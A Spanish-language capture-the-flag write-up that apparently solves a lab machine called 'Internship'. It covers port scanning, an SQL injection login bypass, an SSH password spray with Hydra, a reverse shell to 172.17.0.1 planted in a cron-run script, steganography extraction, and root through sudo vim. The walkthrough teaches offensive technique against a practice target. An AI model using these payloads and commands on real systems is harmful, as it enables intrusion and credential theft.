> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/internship-write-up.md).

# Internship write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/md22cudNCDNFFTpUNE7j" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/jPxzj6EKwyI4DvWP7pDJ" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="/files/qHenlVhG9RjfPMJFfATT" alt=""><figcaption></figcaption></figure>

Lo importante de esta página es que en el código fuente vemos lo siguiente, además de que si nos fijamos ningún botón esta funcionando:

<figure><img src="/files/WQGR4BCcOtqAjbqOKPin" alt=""><figcaption></figcaption></figure>

Esto significa que la página esta preparada para funcionar por ese dominio, por lo que al poner la IP puede ser que algunas funciones de la página no funcionen correctamente. Así que vamos a editar nuestro fichero `/etc/hosts` y vamos a introducir `172.17.0.2 gatekeeperhr.com`, para que así, al poner el dominio en el navegador web, nos envíe a esa dirección IP.

```bash
sudo nano /etc/hosts
```

<figure><img src="/files/onDI5A6GmnpbSbYS0nKc" alt=""><figcaption></figcaption></figure>

Una vez hecho esto ponemos `gatekeeperhr.com` en el navegador. Ahora vemos que nos aparece lo mismo pero los botones si funcionan. Lo siguiente que tenemos que darnos cuenta es que el login de la página se puede evitar con la inyección `' or 1=1 -- -`.

<figure><img src="/files/fCtRbDtISpnsaM6T4JVk" alt=""><figcaption></figcaption></figure>

Una vez dentro encontramos lo siguiente:

<figure><img src="/files/Yn7g9Nr4XdrpPc6frJyt" alt=""><figcaption></figcaption></figure>

Así que vamos a copiar todos los nombres en un archivo que llamaremos `usuarios.txt`.

```plaintext
ana
carlos
maria
juan
laura
pedro
sofia
diego
valentina
alejandro
```

Ahora, vamos a usar la herramienta llamada **Dirb** para buscar rutas ocultas en busca de una contraseña con el siguiente comando:

```bash
dirb http://gatekeeperhr.com/
```

<figure><img src="/files/VP5rmsXdlDsDVS7CcRcC" alt=""><figcaption></figcaption></figure>

Vamos a poner la ruta `http://gatekeeperhr.com/spam/` en el navegador y vamos a ver que encontramos.

<figure><img src="/files/15oBTyMRTJRC6V9HuLDI" alt=""><figcaption></figcaption></figure>

En un principio parece que no hay nada pero si vamos al código fuente encontramos el siguiente comentario:

<figure><img src="/files/mAt3uJeuGOruqfN8hLSe" alt=""><figcaption></figcaption></figure>

Pero vemos que el comentario `<!-- Yn pbagenfrñn qr hab qr ybf cnfnagrf rf 'checy3' -->` está cifrado, preguntándole a chatgpt nos dice que podría ser **Rot13**, así que probamos a desencriptarlo y nos muestra lo siguiente:

<figure><img src="/files/wqXK4P641hIXj1EYPBJu" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a utilizar la herramienta **Hydra** para ver a quien le pertenece la contraseña `purpl3` en el servicio **SSH** con el siguiente comando:

```bash
hydra -L usuarios.txt -p purpl3 -I ssh://172.17.0.2 -V -F -u
```

<figure><img src="/files/pehz4qqnK5bRTlFhgNeZ" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña le pertenece a pedro, así que vamos a acceder a la máquina víctima con esas credenciales.

## **Escalada de privilegios**

Una vez dentro de la máquina victima ejecutamos el comando `ps aux` el cual nos indica que el usuario `valetina` está ejecutando el script `/opt/log_cleaner.sh` cada 30 segundos, así que vamos a modificarlo introduciéndole lo siguiente para que nos envié una shell interactiva por el puerto 443:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/443 0>&1
```

Así que ahora vamos a ponernos en escucha con **netcat** con el siguiente comando:

```bash
sudo netcat -nlvvp 443
```

<figure><img src="/files/wABlrbnxBpjpmst57WIL" alt=""><figcaption></figcaption></figure>

Y vemos que nos la envía sin problemas, así que ahora hacemos el tratamiento de la **TTY** ejecutando los siguiente comandos:

```bash
script /dev/null -c bash
^Z
stty raw -echo;fg     
			reset xterm
export TERM=xterm
export SHELL=bash
```

<figure><img src="/files/RPThUYJ6TocAx8hBAq6E" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zLdT9O7KVNPKeuI1VHP6" alt=""><figcaption></figcaption></figure>

Ahora vemos que dentro de la carpeta home de `valentina` se encuentra un fichero llamado `profile_picture.jpeg`, así que vamos a mover el archivo a la directorio `/tmp` y vamos a cambiarle los permisos para poder descargarnos el archivo con el usuario `pedro`:

```bash
mv profile_picture.jpeg /tmp
chmod 0777 /tmp/profile_picture.jpeg
```

<figure><img src="/files/Hkq9wl7dLvfbYK8YbTNJ" alt=""><figcaption></figcaption></figure>

Y ahora ejecutamos lo siguiente en nuestro host para descargarla:

```bash
scp pedro@172.17.0.2:/home/valentina/profile_picture.jpeg .
```

<figure><img src="/files/RLFWl98UKEUp4vNY04Ss" alt=""><figcaption></figcaption></figure>

Abrimos la imagen y no vemos nada interesante...

<figure><img src="/files/Bn1eBNCwy0VyI4Z4mGcA" alt=""><figcaption></figcaption></figure>

Así que vamos a usar la herramienta **steghide** para ver si encontramos algún archivo oculto con el siguiente comando:

```bash
steghide extract -sf profile_picture.jpeg
```

<figure><img src="/files/m4HYoEIOke0Id8dRIhBD" alt=""><figcaption></figcaption></figure>

Y nos extrae el fichero secret.txt que al hacer una cat del archivo nos muestra lo siguiente:

<figure><img src="/files/GjAZNrHLxVtJrG5tdFBP" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a ejecutar el comando `sudo -l` en la máquina víctima como siendo el usuario `valentina` .

<figure><img src="/files/BKys3NgqY3VX8hMnN8b7" alt=""><figcaption></figcaption></figure>

Esto indica que podemos ejecutar el binario **vim** como cualquier usuario sin necesidad de contraseña. Así que vamos a ejecutar **vim** con el siguiente comando:

```bash
sudo /usr/bin/vim
```

Y escribimos `:!/bin/bash` de la siguiente manera para que nos envié un shell con privilegios elevados.

<figure><img src="/files/Wo72OjYukFeSMXugda8c" alt=""><figcaption></figcaption></figure>

Finalmente, ya seríamos usuarios root.

<figure><img src="/files/JMstzM3Kix5fnR4Z2Pbh" alt=""><figcaption></figcaption></figure>
